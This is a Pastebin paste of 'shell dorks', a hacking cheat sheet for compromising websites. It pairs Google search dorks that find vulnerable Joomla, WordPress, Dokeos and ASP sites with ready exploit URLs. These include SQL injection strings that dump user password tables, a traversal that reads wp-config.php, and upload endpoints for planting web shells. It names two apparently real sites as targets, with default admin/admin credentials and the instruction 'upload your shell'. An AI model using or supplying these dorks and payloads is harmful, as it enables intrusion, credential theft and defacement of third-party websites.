Advertisement
Guest User

Shell dorks

a guest
Aug 17th, 2016
5,176
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.66 KB | None | 0 0
  1. Easy-exploit-joomla-Sites
  2. Dork:inurl:"index.php?option=com_simplephotogallery"
  3.  
  4.  
  5.  
  6. /index.php?option=com_simplephotogallery&view=images&albumid=-1+/*!uNiON*/+/*!SeLeCt*/+1,concat%28username,0x3a,password%29,3,4,5,6,7,8,9,10,11,12+from+jos_users--+
  7. -----
  8. Joomla Components (com_ignitegallery) SQL-Injection Vulnerabilities -
  9.  
  10. Dorks: inurl:com_ignitegallery , Exploits: /index.php?
  11. option=com_ignitegallery&task=view&gallery=-1+union+select+1,2,concat(username,char(58),password)UAH,4,5,6,7,8,9,10+from+jos_users--&Itemid=18
  12. -----
  13. Joomla Exploit : com maian15
  14.  
  15. Dork : "inurl:option=com_maian15"
  16.  
  17. Exploit:
  18.  
  19. /administrator/components/com_maian15/charts/php-ofc-library/ofc_upload_image.php?
  20. -----
  21. Deface Metode Wordpress bazar Theme Arbitrary File Download Vulnerability
  22.  
  23. Dork: inurl:wp-content/themes/bazar/
  24. exploit: /wp-admin/admin-ajax.php?action=revolution-slider_show_image&img=../wp-config.php
  25. -----
  26. exploit bypass admin
  27. inurl
  28. allinurl:galimg
  29. inurl:galorg
  30. index of /galorg site:ae
  31. target
  32. http://mspmt.com/adminaccess/welcome.asp
  33. http://www.extrememarineme.com/adminaccess/welcome.asp
  34. add
  35. adminaccess/welcome.asp
  36. user=admin pass=admin
  37. adminaccess/gallery.aspx
  38. upload your shell
  39. http://mspmt.com/
  40. -----
  41. Upload dork and exploit :3
  42. Dorks :
  43.  
  44. inurl:/upload.php
  45. inurl /uploadbutton.html
  46. inurl /upload-form.php
  47. inurl /upload/up.php
  48. inurl /upload.html
  49. -----
  50. Dokeos Upload
  51.  
  52. Dork:inurl:/index.php?include=Overview.html
  53. Exploit:/main/inc/lib/fckeditor/editor/plugins/ImageManager/manager.php
  54. -----
  55. Dork : inurl:"admin/my_documents/my_files"
  56. Exploit : admin/rte_popup_file_atch.asp
  57. -----
  58. Dork:inurl:"/mfm.php"
  59. -----
  60. Dork:intitle:"index of" people.lst.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement